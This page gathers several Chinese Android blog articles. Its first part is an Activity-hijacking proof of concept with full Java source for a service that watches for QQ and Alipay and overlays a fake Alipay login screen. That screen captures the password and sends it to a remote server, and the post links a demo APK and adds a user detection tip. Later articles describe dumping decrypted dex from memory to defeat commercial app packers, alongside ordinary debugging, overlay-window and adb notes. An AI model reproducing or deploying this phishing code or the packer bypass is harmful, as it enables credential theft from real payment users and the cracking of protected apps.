大谈android安全——Activity劫持与用户防范

文章讲述:使用FLAG_ACTIVITY_NEW_TASK标志启动Activity实现Android平台的Activity劫持.

1. 劫持原理以及使用POC

2. Service中,定时轮训监控制定activity/apk是否启动的方法

原文连接: http://maosidiaoxian.iteye.com/blog/1623016
本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016
本博客声明:此文仅为技术讨论,不对具体阅读者的行为负责。同时希望大家不要将此用于非法目的。
1、Activity调度机制
在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。
当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持
如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。

但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例
下面是示例代码。
AndroidManifest.xml文件的代码。

Xml代码

 

 

 

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。
Java代码
package com.sinaapp.msdxblog.android.activityhijacking.activity;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent2 = new Intent(this, HijackingService.class);
startService(intent2);
Log.w(“hijacking”, “activity启动用来劫持的Service”);
}
}

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。
Java代码
/*
* @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.receiver;

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(“android.intent.action.BOOT_COMPLETED”)) {
Log.w(“hijacking”, “开机启动”);
Intent intent2 = new Intent(context, HijackingService.class);
context.startService(intent2);
Log.w(“hijacking”, “启动用来劫持的Service”);
}
}
}

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。
代码如下:
Java代码
/*
* @(#)HijackingService.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.service;

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingService extends Service {
private boolean hasStart = false;
// 这是一个悲伤的故事……
HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

// Timer mTimer = new Timer();
Handler handler = new Handler();

Runnable mTask = new Runnable() {

@Override
public void run() {
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List appProcessInfos = activityManager
.getRunningAppProcesses();
// 枚举进程
Log.w(“hijacking”, “正在枚举进程”);
for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
// 如果APP在前台,那么——悲伤的故事就要来了
if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (mSadStories.containsKey(appProcessInfo.processName)) {
// 进行劫持
hijacking(appProcessInfo.processName);
} else {
Log.w(“hijacking”, appProcessInfo.processName);
}
}
}
handler.postDelayed(mTask, 1000);
}

/**
* 进行劫持
* @param processName
*/
private void hijacking(String processName) {
Log.w(“hijacking”, “有程序要悲剧了……”);
if (((HijackingApplication) getApplication())
.hasProgressBeHijacked(processName) == false) {
Log.w(“hijacking”, “悲剧正在发生”);
Intent jackingIsComing = new Intent(getBaseContext(),
mSadStories.get(processName));
jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(jackingIsComing);
((HijackingApplication) getApplication())
.addProgressHijacked(processName);
Log.w(“hijacking”, “已经劫持”);
}
}
};

@Override
public IBinder onBind(Intent intent) {
return null;
}

@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (!hasStart) {
mSadStories.put(“com.sinaapp.msdxblog.android.lol”,
JokeActivity.class);
mSadStories.put(“com.tencent.mobileqq”, QQStoryActivity.class);
mSadStories.put(“com.eg.android.AlipayGphone”,
AlipayStoryActivity.class);
handler.postDelayed(mTask, 1000);
hasStart = true;
}
}

@Override
public boolean stopService(Intent name) {
hasStart = false;
Log.w(“hijacking”, “劫持服务停止”);
((HijackingApplication) getApplication()).clearProgressHijacked();
return super.stopService(name);
}
}

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
Java代码
/*
* @(#)QQStoryActivity.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class AlipayStoryActivity extends Activity {
private EditText name;
private EditText password;
private Button mBtAlipay;
private Button mBtTaobao;
private Button mBtRegister;

private TextView mTvFindpswd;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setTheme(android.R.style.Theme_NoTitleBar);
setContentView(R.layout.alipay);
mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
mTvFindpswd.setText(Html.fromHtml(“[u]找回登录密码[/u]”));
mBtAlipay.setSelected(true);

name = (EditText) findViewById(R.id.input_name);
password = (EditText) findViewById(R.id.input_password);

}

public void onButtonClicked(View v) {
switch (v.getId()) {
case R.id.alipay_bt_login:
HandlerThread handlerThread = new HandlerThread(“send”);
handlerThread.start();
new Handler(handlerThread.getLooper()).post(new Runnable() {
@Override
public void run() {
// 发送获取到的用户密码
SendUtil.sendInfo(name.getText().toString(), password
.getText().toString(), “支付宝”);
}
});
moveTaskToBack(true);

break;
case R.id.alipay_bt_alipay:
chooseToAlipay();
break;
case R.id.alipay_bt_taobao:
chooseToTaobao();
break;
default:
break;
}
}

private void chooseToAlipay() {
mBtAlipay.setSelected(true);
mBtTaobao.setSelected(false);
name.setHint(R.string.alipay_name_alipay_hint);
mTvFindpswd.setVisibility(View.VISIBLE);
mBtRegister.setVisibility(View.VISIBLE);
}

private void chooseToTaobao() {
mBtAlipay.setSelected(false);
mBtTaobao.setSelected(true);
name.setHint(R.string.alipay_name_taobao_hint);
mTvFindpswd.setVisibility(View.GONE);
mBtRegister.setVisibility(View.GONE);
}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。
ActivityHijackingDemo.apk

Activity劫持 演示文档.7z

4、用户防范
这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016

启动另外的一个应用程序的Activity(三种方式)

第一种(我自己写的) :之前在网上看来一些,很多不是我要的可以启动另外一个应用程序的主Activity.
//这些代码是启动另外的一个应用程序的主Activity,当然也可以启动任意一个Activity
ComponentName componetName = new ComponentName(
//这个是另外一个应用程序的包名
“com.poynt.weibo”,
//这个参数是要启动的Activity
“com.poynt.weibo.ui.IndexActivity”);

try {
Intent intent = new Intent();
intent.setComponent(componetName);
startActivity(intent);
} catch (Exception e) {
// Toast.makeText(getApplicationContext(), “可以在这里提示用户没有找到应用程序,或者是做其他的操作!”, 0).show();

}
复制代码

第二种
:这里是启动另外一个程序的Activity之后,并把参数传过去!
在一个Android应用程序A中调用另一个Android程序B,同时传递数据给B

ComponentName componentName = new ComponentName(
“com.xiaohua.player.activity”,
“com.xiaohua.player.activity.PlayerActivity”);
Intent intent = new Intent();
Bundle bundle = new Bundle();
bundle.putString(“resUrl”, resurl);
bundle.putSerializable(“picUrlList”, picurllist);
intent.putExtras(bundle);
intent.setComponent(componentName);
startActivity(intent);
注:
com.xiaohua.player.activity:包路径
PlayerActivity:Activity类
resUrl :String类型
picUrlList:数组,也可以是对象
应用程序安装后,按以上方式可进行调用.

接受activity:
public void getParameterByIntent() {
Intent mIntent = this.getIntent();
String resUrl = mIntent.getStringExtra(“resUrl”);
String[] picUrlList = (String[]) mIntent.getSerializableExtra(“picUrlList”);
if (null != picUrlList) {
int count = picUrlList.length;
for (int i = 0; i < count; i++) { Log.e("tag", "picUrlList[" + i + "]" + picUrlList); } } } 来自:http://hi.baidu.com/huaxinchang/blog/item/5fa81903474097f409fa9305.html 复制代码 第三种:在一个apk中调用另外一个apk中的activity 转自:http://www.eoeandroid.com/forum.php?mod=viewthread&tid=69600 其实,这本来是一件很简单的事情,但是小编发现很多人问这个问题,所以写篇小文章供eoe的朋友们参考。 系统提供了很多可以直接调用的Activity,通过指定的Intent就可以调用,比如打开搜索的: Intent intent = new Intent(Intent.ACTION_WEB_SEARCH); intent.putExtra(SearchManager.QUERY,"searchString") startActivity(intent); 复制代码 Intent.ACTION_WEB_SEARCH是一个字符串,是“搜索”这个Activity的标识,extra是传给这个activity的一些数据。发送出这个intent之后,系统根据action字符串Intent.ACTION_WEB_SEARCH知道了是要调用哪个activity,如果有重名,会弹出一个选择对话框。然后打开此activity,实现想要做的事情。 那么,我们自己怎么来实现呢。 首先,写一个activity,在AndroidManifest.xml里面的intent-filter中,给这个activity命名:



复制代码

然后安装。安装完毕之后,你会发现,系统中找不到这个程序。别急,它确实安装在手机里面了,但是因为他不是main的,所以系统不会把他当做Application的入口程序。

而要想打开这个activity,只有知道它名字的人才可以。跟系统的intent一样使用。它的名字定义为”chroya.foo”,所以,这里用这个字符串就可以调用它了:

Intent intent = new Intent(“chroya.foo”);
startActivity(intent);
复制代码

小编用刚才举的那个系统的intent说明,它的activity里面使用 getIntent().getBundleExtra(SearchManager.QUERY)来接收传递进来的搜索字符串参数。而这个 SearchManager.QUERY是关键字。如果要自己实现这种功能,只需要定义好关键字,然后从BundleExtra中取就行了。

使用gdb和gdbserver调试Android C/C++程序

1,http://www.gnu.org/software/gdb/download/,下载最新版本的gdb源代码包,我使用的是gdb-7.6.tar.gz,使用tar命令进行解包(tar -xvzf gdb-7.6.tar.gz),cd进gdb-7.6/gdb目录,使用vi找到remote.c中的如下代码:
if(buf_len > 2 * rsa->sizeof_g_packet)

error(_(“Remote ‘g’ packet reply is too long: %s”),rs->buf);

将上面两行注释掉,添加如下代码

if(buf_len > 2 * rsa->sizeof_g_packet)
{
rsa->sizeof_g_packet = buf_len;
for(i = 0; i < gdbarch_num_regs(gdbarch); i++)
{
if(rsa->regs[i].pnum == -1)
continue;
if(rsa->regs[i].offset >= rsa->sizeof_g_packet)
rsa->regs[i].in_g_packet = 0;
else
rsa->regs[i].in_g_packet = 1;
}
}
使用如下命令对代码进行配置、编译和安装

./configure –target=arm-linux –prefix=/usr/local/arm-gdb -v

make

make install

2,gdbserver使用android4.2模拟器中自带的版本(v7.1)

3,将NDK编译好的C/C++可执行程序,上传到模拟器中/data/test目录下,假设可执行程序的名称为testHello。

4,使用命令:gdbserver :7000 /data/test/testHello 启动模拟器端的调试。

5,启动arm-linux-gdb之前,使用vi打开~/.bash_profile文件,在其中添加:

export PATH=$PATH:/usr/local/arm-gdb/bin,以便在程序的其他目录可以直接启动arm-linux-gdb程序

6,cd至ndk编译好的testHello文件所在目录

7,使用如下命令进行端口映射:adb forward tcp:7000 tcp:7000,将模拟器的7000端口和本机的7000端口进行映射

8,使用命令:arm-linux-gdb testHello启动gdb调试

9,使用target remote :7000 链接模拟器中gdbserver启动的服务。

10,自此,我们就可以使用gdb命令进行代码调试了。

关于插屏广告的实现

插屏广告: alert dialog, 能显示在任何应用之上的窗口, 用于显示匿名窗口广告.

需要申请权限:

android.permission.SYSTEM_ALERT_WINDOW

然后一些知识如下文:

在Android中使用WindowManager实现悬浮窗口

 

最近在做一个项目的过程中,客户提出要一个能悬浮于所有应用的界面。下图右侧这个界面就是需要实现的悬浮于所有应用之上的视图。
下面就介绍一下如何通过WindowManager来实现这个效果。

加载中...

通过WindowManager的addView()方法,并设置WindowManager.LayoutParams的相关属性,就可以往WindowManager中加入所需要的View,而根据WindowManager.LayoutParams属性不同,也就能实现不同的效果。比如创建系统顶级窗口,实现悬浮窗口效果。如果需要将View从WindowManager中移除,只需要调用removeView()即可。

下面以一个简单的例子来解释一下如何实现悬浮窗口效果。

首先,得到WindoeManager对象:
WindowManager wManager = getApplicationContext().getSystemService( Context. WINDOW_ SERVICE);

其次,得到WindowManager.LayoutParams对象,为后续设置相关参数做准备:
private WindowManager.LayoutParams wmParams=new WindowManager.LayoutParams();

接着,设置相关的窗口布局参数,要实现悬浮窗口效果,主要需要设置的参数有:
wmParams.type = LayoutParams.TYPE_PHONE; // 设置window type
wmParams.format = PixelFormat.RGBA_8888; // 设置图片格式,效果为背景透明

/*
* 下面的flags属性的效果形同“锁定”。 悬浮窗不可触摸,不接受任何事件,同时不影响后面的事件响应。
*/
wmParams.flags=LayoutParams.FLAG_NOT_TOUCH_MODAL |
LayoutParams.FLAG_NOT_FOCUSABLE | LayoutParams.FLAG_NOT_TOUCHABLE;
wmParams.gravity = Gravity.RIGHT| Gravity. CENTER_VERTICAL; // 调整悬浮窗口至右侧中间
// 以屏幕左上角为原点,设置x、y初始值
wmParams.x = 0;
wmParams.y = 0;

// 设置悬浮窗口长宽数据
wmParams.width = WindowManager.LayoutParams.WRAP_CONTENT;;
wmParams.height =WindowManager.LayoutParams.WRAP_CONTENT;;

然后,就可以将需要加到悬浮窗口中的View加入到窗口中了:
if(view.getParent==null)//如果view没有被加入到某个父组件中,则加入WindowManager中
wManager.addView(view,wmParams);

其中,view为需要放到悬浮窗口中的视图组件。

如果要将其从WindowManager中移除,则可以执行以下语句:
if(view.getParent()!=null)
wManager.removeView(view);

最后,还有需要注意的是,如果要用悬浮窗口,需要在AndroidManifest.xml中加入如下的权限:
<uses-permission android:name=”android.permission.SYSTEM_ALERT_WINDOW” />

 

 

以及该篇文章:

 

有时候需要在显示UI的时候不中断原来的Activity

比如在播放视频时或者玩游戏时,需要显示某个菜单(可以是系统提示,或类似于TV菜单)

显然用Activity来做是不行的,因为新Activity启动的时候会把原来的Activity pause掉

怎么做呢,可以参考系统电量提示窗口或statusbar那样在service中启动窗口

新窗口将会出现在UI最上层,但不会中断原来的Activity

效果图,一个是播视频中,一个是玩游戏中:

看一下WindowManager.LayoutParams的两个属性:

int TYPE_SYSTEM_ALERT        Window type: system window, such as low power alert.
int TYPE_SYSTEM_OVERLAYWindow type: system overlay windows, which need to be displayed on top of everything else.

这两个不错,正是我们想要的,上代码~

 

Seivece中代码

 

  1. private void showSystemDialog() {
  2.     /* create ui */
  3.         View v = View.inflate(mContext, R.layout.main, null);
  4.         AlertDialog.Builder b = new AlertDialog.Builder(mContext);
  5.         b.setView(v);
  6.         d = b.create();
  7.         d.getWindow().setType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT);
  8.         //d.getWindow().setType(WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY);
  9.     d.show();
  10.         /* set size & pos */
  11.         WindowManager.LayoutParams lp = d.getWindow().getAttributes();
  12.         WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
  13.         Display display = wm.getDefaultDisplay();
  14.     if (display.getHeight() > display.getWidth()) {
  15.         //lp.height = (int) (display.getHeight() * 0.5);
  16.         lp.width = (int) (display.getWidth() * 1.0);
  17.     } else {
  18.         //lp.height = (int) (display.getHeight() * 0.75);
  19.         lp.width = (int) (display.getWidth() * 0.5);
  20.     }
  21.         d.getWindow().setAttributes(lp);
  22.         /* update ui data */
  23.         lv = (ListView) d.getWindow().findViewById(R.id.listview);
  24.        SimpleAdapter adapter = new SimpleAdapter(mContext, getListData(), R.layout.list_item,
  25.                             new String[]{“item_text”, “item_img”},
  26.                             new int[]{R.id.item_text, R.id.item_img});
  27.         lv.setAdapter(adapter);
  28.         /* set listener */
  29.        lv.setOnItemClickListener(new OnItemClickListener() {
  30.         public void onItemClick(AdapterView<?> parent, View view, int pos,
  31.                 long id) {
  32.             d.dismiss();
  33.         }
  34.        });
  35. }

创建了一个dialog,可以调整dialog的位置、大小,dialog的从R.layout.main创建,动态添加UI数据

 

响应Ui上的OnClick操作

 

* manifest中需要相应的permission

<uses-permission android:name=”android.permission.SYSTEM_ALERT_WINDOW” />
<uses-permission android:name=”android.permission.SYSTEM_OVERLAY_WINDOW” />

* TYPE_SYSTEM_ALERT跟TYPE_SYSTEM_OVERLAY的区别

以上面的代码为例,system_alert窗口可以获得焦点,响应操作

system_overlay窗口显示的时候焦点在后面的Activity上,仍旧可以操作后面的Activity

* 上面的代码中请留意d.show()的位置,只有在show之后才能调整dialog大小及更新数据

* 可以调整的Attributes,先dump出来

lp.flags = 0x20002, // FLAG_DIM_BEHIND | FLAG_ALT_FOCUSABLE_IM

lp.gravity = 0x11, // CENTER

lp.type = 0x7d3, // TYPE_SYSTEM_ALERT

这些Attr都可以设置,具体定义在API文档WindowManager.LayoutParams中

 

 

原文链接:

http://www.2cto.com/kf/201209/158190.html

http://blog.csdn.net/zmyde2010/article/details/6863717

爱加密和梆梆加固的破解方法

By Bob Pan

原始链接: http://blog.csdn.net/pxb1988/article/details/17167795

梆梆与爱加密都使用了将原有的dex隐藏, 在运行时解压, 并且通过修改app的类加载器的方式实现加固. 参考:AndoridAPK反逆向解决方案:梆梆加固原理探寻

然而, 不管如何隐藏dex, 最终在运行时都必须释放到内存, 所以本文的思路是从内存中找到解密后的dex文件, 进而得到加固前的apk.

爱加密

爱加密的app并没有做反调试的保护. 打开app之后直接使用gdb连接, 然后用gcore, 产生core dump.

使用ps查看pid

使用gdb连接pid

使用gcore产生core dump

 

将产生的core.1033复制回电脑, 并使用编辑器打开, 通过类名找到dex中string-data段, 然后通过查找’dex.035’可以找到多离string-data最近的个dex头. dex文件头偏移32的整形值就是dex的文件长度. 使用dd命令可以从内存中抠出dex.

通过类名找string-data段

找到最近的dex文件头(0x4f87a08)和dex文件大小0x07c0

使用dd抠出dex

这个文件是个完整的dex文件, 并且可以被dexdump直接打印

梆梆

梆梆加固的程序做了anti-ptrace, 表现为使用gdb –pid 连接不上对应的进程, 利用kernel-model打印ptrace的记录, 可以看出梆梆

l  使用了3个进程互相ptrace.

l  发送错误指令来检查ptrace是否被劫持(反回值是-3行, 尝试让1568进程继续执行, 但是1568并未被ptrace, 必须出错),

l  利用ptrace修改另一个进程的数据(action是5的行).

ptrace系统调用的记录, 右边是ptrace的参数

虽然连不上1552, 但是dalvik是一个多线程的程序, 里面包含主进程, gc线程, binder线程等, 虽然我们用gdb连不上主线程, 但是我们可以连上其他线程, 这些线程的tid在/proc/[pid]/task/目录下.

Gdb连接任意一个tid

拿到coredump后与爱加密一样做相同的处理, 可以拿到dex.

总结

爱加密和梆梆通过隐藏dex确实可以让大部分静态分析工具找不到执行代码, 但是在动态运行的时候无可避免的需要将dex在内存中还原. 虽然梆梆做了反调试, 但是通过其他方式也同样可以获取其内存. 通过本文的方法分析其内存然后恢复dex, 更进一步可以完全恢复原始apk. 从这个角度说, 爱加密和梆梆的加固形同虚设.

 

[Android]Android的常用adb命令

第一部分:

1. ubuntu下配置环境anroid变量:

在终端执行 sudo gedit /etc/profile 打开文本编辑器,在最后追加#set android environment

2. 运行Eclipse,还需要配置JAVA环境变量

#set java environment

JAVA_HOME=/home/loginname/jdk目录名

JRE_HOME=/home/loginname/jdk目录名/jre

export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH

export CLASSPATH=$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH

export PATH=/home/loginname/android-sdk-linux_86/tools:$PATH

保存后,重启

3. 加入设备ID标识到当前的android调试环境

在/home/loginname/.android文件中添加,android终端的设备标识ID

4. 更新sdk

【android update sdk】更新sdk

5. 常用命令:

【adb help】获取帮助

【adb get-serialno】获取设备串号

【adb root】获取root权限,对部分手机有用,大部分上市手机已经把这个功能给关闭了。获取root权限还可以通过豌豆夹等第三方工具。

【adb kill-server】杀死adb的server进程。

【adb start-server】启动adb的server进程。

【adb devices】查看建立连接的android终端。

【android list】显示所有android终端

【ddms】启动ddms

【adb remount】重新加载硬盘。

【adb reboot】重新启动终端。

【adb install /path/appname】安装应用程序

【adb uninstall com.android.helloworld】卸载helloworld,系统带的应用不可卸载。

【adb push /sourcepath/filename /destinationpath/filename】从pc端拷贝一个文件到终端

【adb pull /sourcepath/filename /destinationpath/filename】从终端拷贝一个文件到pc端

【adb logcat -v time -s TAGNAME】显示自定义的TAGNAME并显示时间

【adb ppp】通过usb启动ppp

【adb monkey -p /path/appname -v 100】对程序进行强制测试100次

【adb shell】在pc端启动shell命令终端。

以上命令需要pc端的root权限,命令失效时,可以尝试切换工作目录到sdk的tools下,例如:sudo ./adb kill-server,sudo ./adb start-server。

6. shell下命令,可以使用BusyBox工具集:

【am start -n {包名(package)}/{包名}.{活动activity名称}】启动某一个app的activity,配置参考AndroidManifest.xml,例如闹钟:
# am start -n com.android.alarmclock/com.android.alarmclock.AlarmClock

【am broadcast -a android.intent.action.ActionName】发送广播消息

【setprop KEY VALUE】设置key的property值位value

【getprop KEY】获取该key的property值

【getevent】获取所有事件

【watchprops】监听property值的变化

【stop SERVER】强行停止某一个服务

【start SERVER】启动某一个服务

【ioctl】控制设备

【dumpsys activity】显示活动栈信息

【top】显示瞬间的进程的资源占用等信息

【free】显示当前进程内存使用情况

【ps】显示进程的自身标识信息

【rm /path/filename】从终端删除一个文件

【mkdir】新建一个目录或者文件

【grep】查找特定内容

【ls】显示当前目录下的文件

【cd】切换当前目录

【chmod】更改文件属性

【cp】拷贝文件

【dd】复制文件

【mv】移动目录文件,或者改名

【cat】查看文件内容

【kill】杀死进程

【ipconfig】查看更改网络接口地址和参数

【ping】检测网络状态

【netstat】查看网络状态

【telnet】登录远程主机

【sqlite3 /path/DATABASENAME.db】打开某一个数据库。之后即可使用select,insert,delete等数据库操作命令

【tcpdump -p -nnn -vvv -s 0 -w /PATH/NAME.pcap port 80 and tcp】网络调试抓包

【gst-launch playbin uri=file:///system/media/audio/bootaudio.mp3】gst多媒体框架,播放音频文件

【alsa_amixer】音频调试命令,可以切换声道,调节音量,切换设备。不同的芯片厂家的参数设置有所不同。

【alsa_aplay -D AndroidPlayback_Speaker_normal  /cache/music/dial/0.wav】通过alsa播放pcm码流。

【alsa_arecord】通过alsa实现录音

【am start -n com.android.music/com.android.music.MediaPlaybackActivity -d /sdcard/bootaudio.mp3】启动android进程播放mp3

【stack –symbols-dir=./out/target/product/NAME/symbols ramdump】查看调用堆栈

【exit】退出shell

通过 adb shell, cd /system/bin,ls可以列表出大部分可用的命令。

7. 部分android手机的VenderID

# 0x0525 NXP芯片

# 0x18D1 Broadcom2457双卡芯片

# 0x2314 GHT Moke

# 0x04E8 AnyCall GT-I5508

# 0x22B8 Moto XT701 XT300

# 0x0BB4 HTC A8180

第二部分:

adb(Android Debug Bridge)是Android 提供的一个通用的调试工具,借助这个工具,我们可以很好的调试开发的程序,adb.exe在你安装的android的sdk开发包tools目录下,

adb使用方法:

adb [-d|-e|-s <serialNumber>] <command>

当你发出一个命令,系统启用Android客户端。客户端并不与模拟器实例相关,所以如果双服务器/设备是运行中的,你需要用-d选项去为应被控制的命令确定目标实例。关于使用这个选项的更多信息,可以查看模拟器/设备实例术语控制命令。

1、安装应用到模拟器:

你可以使用adb从你的开发电脑上复制一个应用程序,并且将其安装在一个模拟器/设备实例。像这样做,使用install命令。这个install命令要求你必须指定你所要安装的.apk文件的路径:
adb install <path_to_apk>
为了获取更多的关于怎样创建一个可以安装在模拟器/设备实例上的.apk文件的信息,可参照Android Asset Packaging Tool (aapt).
要注意的是,如果你正在使用Eclipse IDE并且已经安装过ADT插件,那么就不需要直接使用adb(或者aapt)去安装模拟器/设备上的应用程序。否则,ADT插件代你全权处理应用程序的打包和安装.
如果要删除某个应用,按下面操作,例如应用为test:
adb shell
cd /data/app
rm test.apk

2、进入设备或模拟器的shell:

adb shell
通过上面的命令,就可以进入设备或模拟器的shell环境中,在这个Linux Shell中,你可以执行各种Linux 的命令,另外如果只想执行一条shell命令,可以采用以下的方式:
adb shell [command]
如:adb shell dmesg会打印出内核的调试信息。

3、发布端口:

可以设置任意的端口号,做为主机 向模拟器或设备的请求端口。如:
adb forward tcp:5555 tcp:8000

4、从模拟器/设备中拷入或拷出文件:

